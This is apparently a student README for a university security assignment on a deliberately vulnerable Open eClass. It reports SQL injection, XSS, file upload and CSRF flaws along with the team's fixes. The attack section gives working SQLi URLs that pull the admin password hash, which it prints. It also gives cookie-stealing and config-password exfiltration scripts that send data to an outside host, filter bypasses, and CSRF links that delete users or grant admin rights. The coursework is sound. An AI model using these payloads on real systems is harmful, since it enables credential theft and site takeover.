This repository contained a vulnerable version of eclass (check very first commit for initial version, if you want to experiment on your self). It can be only used as assignment material Computer Security, don't use it for any other uses.
# create and start (the first run takes time to build the image)
docker-compose up -d
# stop/restart
docker-compose stop
docker-compose start
# stop and remove
docker-compose down -v
Hit http://localhost:8001/ in your browser. If this is your first visit you must run the site installer in the browser.
- Database
- Host :
db
- User :
root
- Password :
1234
- Host :
- System Settings
- Open eClass URL :
http://localhost:8001/
(mind the/
) - Admin's username :
drunkadmin
- Open eClass URL :
Assignment readings: https://ys13.chatzi.org/assets/projects/project1.pdf
- sdi1800105, Χαράλαμπος Μαραζιάρης - Harry Maraziaris
- sdi1800119, Βησσαρίων Μουτάφης - Vissarion Moutafis (me)
In the following sections we provide with a security report, regarding the vulnerabilities we discovered and the defence path we followed to mitigate each one of them.
In the following sections we will describe the security holes we found in Open-Eclass.
The basic source of SQL Injections in the site was the fact that most of the user input in post forms was unsanitized, while the MySQL server was actually printing error messages directly from the database, displaying the whole query and in this way making the forms easy to exploit, to acquire the admin password hash in the database. We managed to defend the following vulnerabilities in a certain level by using proper typecasting (ie. intval()
function in php) and mysql_real_escape_string()
.
Some of these security issues are manifested in:
- Forum Section, where we could use a url like the following
/modules/phpbb/viewtopic.php?topic=' union select password as topic_title, 1 from eclass.user-- &forum=1')--%20
(add url-encoded blank at the end so the sql comment would work) and the password would display as the topic title in the forums. - New Thread/Topic Creation, by directing to
/modules/phpbb/newtopic.php
, we can add the variable?forum=
and get a SQL error so that we could actually exploit the query and get the admin password. URL Payload:?forum=') union select password as forum_name, 2 as forum_access, 1 as forum_id from eclass.user --%20
. After that we can see that there is still an error BUT if we check the path displayed in the upper part of the screen we could notice the password hash Χαρτοφυλάκιο χρήστη » Εισαγωγή στον Κομμουνισμό » Περιοχές Συζητήσεων » admin password-hash » Νέο θέμα. - Reply Forms in Forums, where with a similar idea we will get to
/modules/phpbb/reply.php
and we will supply the script with the following parameter list?Dialog1=on&Dialog2=on&Dialog3=on&Dialog4=on&Dialog5=on&Dialog6=on&message=&forum=1&topic=-1)and 1=2 union select 1,password,3,4 from eclass.user --%20"e=&submit=Υποβολή
as we could easily see that the topic parameter is prone to sql injection. - In the Assignments/Work section, an SQLi attack can be carried out, by exploiting the
id
parameter of the GET request, which is not checked to be numeric by the back-end component, and is then used to perform UPDATE queries to the DB. - Course Unregister, get to
/modules/unreguser/unregcours.php
and supply the php script with the following parameters?cid=' union select password as intitule from user -- &u=1
. As we could see the cid parameter is prone to sql injection. - Admin Search/Search User,
http://localhost:8001/modules/admin/search_user.php
every field in this form is SQLi-prone. - Admin Search/List Users. This is quite obscure but if we combine SQLi to get the password hash and a Reflected XSS to get the password and send it to us. The url to direct the admin is
/modules/admin/listusers.php
while the payload for the sql injection is
?user_surname=a' union select '<script>some script to get the pass</script>' as user_id ,password as nom,'3' as prenom,'4' as username,'5' as email,'6' as statut from eclass.user where username='drunkadmin'--
&user_firstname=<script>some script to get pass</script>
&user_am=
&user_type=0
&user_registered_at_flag=1
&date=
&hour=0
&minute=0
&user_email=
&user_username=
&c=searchlist
&search_submit=Αναζήτηση
In general there were many XSS vulnerabilities both stored and reflected in all of the post forms. This occured due to the fact that the user could pass input
immediately to the back-end processing scripts, bypassing entirely the front-end defences provided by the JS scripts. To defence the Following holes we used the htmspecialchars
function, filtering php library HTML-Purifier and, as a last resort, the use of a random nonce token to prevent executing JS scripts from outside sources.
Some Security holes where the following:
-
Everywhere an SQL error occured the user could display plain html code, exploiting the lack of filtering in the error box.
-
In conference section, the user could just supply any kind of executable code and there would be a Stored XSS for anyone watching the chat.
-
In the Forums section, the browser form was filtered , preventing XSS attacks, but we could easily exploit that the $_POST['message'] parameter was not sanitized properly and we could bypass the JS sanitization, by just using a test exploit like
?message=<script>alert(1)</script>
and in this way create a Stored XSS attack. -
The same as before goes for the newtopic.php, that would create a new topic in forums where either the topic-name or the message could easily be set to executable code.
-
In the same section, we could also add a reply to an existing topic in the same way (i.e
/reply.php?Dialog1=on&Dialog2=on&Dialog3=on&Dialog4=on&Dialog5=on&Dialog6=on&message=<script>alert(1)</script>&forum=1&topic=1"e=&submit=Υποβολή
) that would result to a Stored XSS attack in the topic reply section. -
Another possible XSS vuln is observed during the insertion of an image. If we set the 'src' to be equal to the page path in Open Eclass site we could display any of the XSS attacks that are diplayed in this section. (We could see the vuln by just setting
src="../../"
and hitting thePreview
button). -
In the Exchange File section, a persistent XSS attack is achieved in the Upload File functionality, where the
Sender
,Description
and (maybe)Title
fields are stored and displayed unsanitized in the DB and the front-end. -
In the Assignments/Work section, a persistent XSS attack is achieved, exactly the same way we described above.
-
Furthermore, a temporary XSS/SQLi attack can be carried out, by exploiting the errors displayed (and executed) in the browser by SQL, in the
id
parameter of the GET request. An example of a malicious input is:http://localhost:8001/modules/work/work.php?id='--<script>alert(1);</script>
. -
Every where the user details (name, last name, etc.) were displayed they were not sanitized. So we could exploit that in
/modules/profile/profile.php
we could generate a post request changing the user details by the url (bypassing any JS sanitization) and creating a stored XSS that it would be displayed anywhere the user first/last name are displayed (almost everywhere). -
In the agenda section the user could change the year variable and set it to executable JS code, since the year displayed is not sanitized by the php file. This could create a Reflected XSS attack.
-
In password-reset section the back end displays the user name and email given by the user. These variables can be given through the URL so by exploiting this and the fact that they are displayed with no sanitization, we could pass something like
/modules/auth/lostpass.php?userName=<script>alert(1)</script>&[email protected]&doit=Send
and actually get another Reflected XSS. -
During the course unregister action we can also create another Reflected XSS attack, in combination with an SQLi attack by using an exploit like the following:
/modules/unreguser/unregcours.php?cid=' union select '<script>console.log("XSS")</script>' as intitule -- %20&u=1
where the cid variable is actually displayed from the database unsanitized, so if we change it to a script we could execute JS. -
In admin pages where-ever the a script-like name is displayed it can be executed . For example in
/modules/admin/listusers.php
we can use SQLi to change the username, or the surname of the user to a script (this is like using details of a non-existent user) in order to execute a Reflected XSS. -
In Admin Announcements, (http://localhost:8001/modules/admin/adminannouncements.php) persistent XSS attacks can be carried out, due to the unsanitized store and display of the form's input fields.
-
In Course Units, (http://localhost:8001/modules/units/info.php) (admin-side only) an attack can be carried out as described above.
-
Note: The admin-side XSS attacks, in order to succeed, should be carried out in cooperation with a successful CSRF attack (the other scenario being that the admin him/herself is malicious, which is obviously unexpected).
Remote/Local File Inclusion vulnerabilities were found in the course tools: File Exchange
and Assignments/Work
.
In both cases, every user was able to submit malicious .php, .html, .htm and .js files.
-
In the case of
File Exchange
, every file is stored under the pathopeneclass/courses/<course id>/dropbox/
and is given a randomized name, as a defence mechanism. However, if the attacker somehow obtains the full path of the file, say by a web-spider, then they can forward the malicious file to another user (via sharing the URL), and the file will be executed to the victims browser. -
In the case of
Assignments/Work
, every file is stored under the pathopeneclass/courses/<course id>/work/<randomized dir name>/<lastname firstname id>.<file extension>
, where<randomized dir name>
is a self-explainatory defence mechanism as before. Again, if the attacker obtains the full path of the file, they can perform the same attack discussed before.
Defence
Our core defence mechanism is the prevention of indexing of the files under /courses/
to make it really hard for anyone to find the randomized names given to folders that contain (potentially malicious) user files. We achieved that by adding restrictions to the 000-default.conf
file, in combination with an .htaccess
file.
As an extra -yet not perfect- defence measure, we filter file extensions so they cannot be executed through a web-browser, even if the attacker somehow acquires the URL (which includes randomized elements). In this spirit, we convert .php, .html, .htm and .js extensions to .maybe_phps, .maybe_html, .maybe_html and .maybe_javasc respectively, and we store the files with the converted/filtered extensions.
To tackle a vulnerability where .html
files were executed locally when attempting to download them, we disabled file content "hints" that were added to the HTTP Request headers, thus forcing the download. (modules/dropbox/dropbox_download.php
)
The website didn't have any protection against CSRF attacks at all. The vulnerabilities of this kind are too many too many to be mentioned in a single report, but can found tracking the corresponding Github commits.
We did our best tracking and patching most (if not all) POST forms and GET requests, focusing on the admin-side forms/requests.
The patch is achieved by generating CSRF tokens for each requests and storing them in an array, namely $_SESSION['csrf_tokens']
, until they're verified by the server (and thus are deleted).
Our anti-XSS/CSRF functions can be found here: openeclass/include/security_functions.php
.
In the following sections we will describe the attacks performed in an attempt to gain unauthorized access in the Open-Eclass website protected by team everbreach.
- Drunk Admin password as stored in the database:
a7ec4205e22f2e4f6d33ef4bd611a6bf
- The deface is available in the main page just by connecting with random user credentials and pressing
Login
. Have Fun!
We carried out the following SQLi attacks (3):
- In /modules/phpbb/newtopic.php
we set the
forum
variable toforum=') union select password, 2, 3 from eclass.user where username='drunkadmin'--+
and we get the admin password in the path
Χαρτοφυλάκιο χρήστη » How to get hacked fast <3 » Περιοχές Συζητήσεων » a7ec4205e22f2e4f6d33ef4bd611a6bf » Νέο θέμα
here it is a7ec4205e22f2e4f6d33ef4bd611a6bf.
In the same spirit we can set forum=') union select '<script>malicious_code()</script>', 2, 3 from eclass.user where username='drunkadmin'--+
and we get a Reflected XSS attack
- In /modules/phpbb/viewtopic.php we set
topic=1
&forum=-1%27)%20union%20select%20password,%20password%20from%20eclass.user%20where%20username=%27drunkadmin%27--+
and we get the following in the path bar
Προσωπικό χαρτοφυλάκιο » How to get hacked fast <3 » Περιοχές Συζητήσεων » a7ec4205e22f2e4f6d33ef4bd611a6bf » test
so once again we got the password hash of the admin
- In /modules/amdinplaftormas/listusers.php we will set the following in the url
user_surname=%27%20%20union%20select%20password,%20password,password,password,5,6%20from%20eclass.user%20where%20username=%27drunkadmin%27--+
&user_firstname=
&user_am=
&user_type=0
&user_registered_at_flag=1
&date=+
&hour=0
&minute=0
&user_email=
&user_username=
&c=searchlist
&search_submit=Αναζήτηση
and we will get the drunk admin password-hash in the results table. By adding a script that is passed completely unsanitized we could send the document.innerHTML to a local server and we could then extract the password hash. The only thing the drunkadmin had to do is to click a link for puppies page where we could redirect him given the appropriate malicious url parameters.
We carried out the following XSS attacks (4):
-
Work/Assignments: A temporary XSS attack can be performed by exploiting the website's handling of SQL errors (that is, displaying and executing the error strings) in the Work section. Each assignment is characterized by an
ID
, and when viewing the assignment, the user is navigated to this link:<team name>.csec.chatzi.org/modules/work/work.php?id=<Assignment ID>
. Thus, a malicious link exploiting the above vulnerability is:<team name>.csec.chatzi.org/modules/work/work.php?id=%27--%3Cscript%3Ealert(1);%3C/script%3E
-
In /modules/profile/profile.php there was a filter that sanitized script-like names and user details (Oh no...). (Anyway) We broke it by setting
prenom_form= <img src="\xC2\xA0javascript:javascript:alert(1)">
nom_form = onerror="javascript:**attack_script()**"
in the browser forms and then everywhere the user details were displayed we had an XSS attack. (Stored XSS)
We broke the filter by fuzzing the prenom and allowing the nom_form
to be inside the img tag so that we could write an onerror
attribute "outside" a tag but when it is displayed it will be inside the previous opened tag.
- In /modules/auth/lostpass.php we can set
uname = <script>malicious_code()</script>
email: [email protected]
and perform a Reflected XSS attack.
- In /modules/phpbb/viewtopic.php we perform a cookie-stealing attack by adding html code option in one of our topic texts and then redirecting (by setting the
document.location
variable) to our cookie_stealer.php file that was hosted undersoviet-union.puppies.chatziko.org
. After some time the admin checked the topic and we got the cookie adn with it, full admin access to the site. Exact exploit:
<script type="text/javascript">
document.location='http://soviet-union.puppies.chatzi.org/cookie_stealer.php?c='+encodeURIComponent(btoa(document.cookie));
</script>
We couldn't inject and exploit customized .php
files.
However, we managed to inject .html
pages containing malicious javascript
code.
The points of entry we exploited are the following (2):
-
Work/Assignments: By submitting any file, eclass would show us the directory path storing our file in the target server. Knowing the directory path we were able to figure out the absolute filepath, by guessing the naming convesion, based on the initial eclass version known to every team (that filepath is:
<team name>.csec.chatzi.org/courses/<course ID>/work/<dir name>/<User last name> <User first name> <User ID>.<original file extension>
). Furthermore, by navigating to the filepath our malicious.html
page (and its full functionality) is being displayed to the client's browser. Thus, the only thing left to do was to forward it to the opposing administrator, and let our malicious scripts do the work on their browser. -
File Exchange: This exploit is similar to the one described above. This time, by submitting a file, the file would get a unique ID to identify it among every exchanged file in the server. The link pointing to the file can be used in the same manner as described before, namely to run malicious scripts to every user's browser (not just the administrator's). The link is of the following structure:
<team name>.csec.chatzi.org/modules/dropbox/dropbox_download.php?id=<message ID>
. This is an incredibly generic and easy attack, that doesn't require any information regarding how the file is stored in the backend. The vulnerability is caused by a policy of the eclass developers, that the browser should be "tipped", through the HTTP request, to display certain file types (including.html
files), instead of showing a download dialog window.
In order to perform CSRF attacks we used an external website (outside Eclass), hoping to trick the opposing administrator into clicking malicious links.
We carried out the following attacks (4) (showcased in: /puppies/1st_round/index.html
):
-
[Fail] Unauthorized course deletion via GET request. (link:
http://everbreach.csec.chatzi.org/modules/amdinplaftormas/delcours.php?c=TMA102&delete=yes
) -
[Fail] Submission of customized eclassconf.php settings via a form.
-
[Success] Unauthorized deletion of users: (html element:
<a href="http://everbreach.csec.chatzi.org/modules/amdinplaftormas/unreguser.php?u=[user to be deleted ID]&c=&doit=yes> </a>
) -
[Success] Unauthorized Administrator status grant to custom user: (html element:
<a href="http://everbreach.csec.chatzi.org/modules/user/user.php?giveAdmin=[malicious user ID]"> </a>
)
Payload we used in 2nd round to hack HackItOrDITrying
function loadFile(filePath) {
var result = null;
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET", filePath, false);
xmlhttp.send();
if (xmlhttp.status==200) {
result = xmlhttp.responseText;
}
return result;
}
function getMyFile()
{
var x = loadFile('/modules/admin/eclassconf.php');
var n = x.indexOf("password");
var z = x.slice(n, n+100);
var p = z.slice(45, 65);
return p.split('"')[1];
}
document.location = 'http://soviet-union.puppies.chatzi.org/get.php?c=' + getMyFile();
we specifically inject this in /modules/profile/profile.php/"><script>URL-ENCODED PAYLOAD HERE</script>
.
We also found out that in file exchange if you entered a file with name ')<img src=x onerror=javascript:alert(1)>.pdf
there would be an error for the file type (they only accepted .zip & .pdf) and the file extension would be printed unsanitized. There a Reflected XSS might be carried out, in combination with a CSRF attack for it was a post method that submited the file. DID NOT TRIED further attacks since the above attack worked out.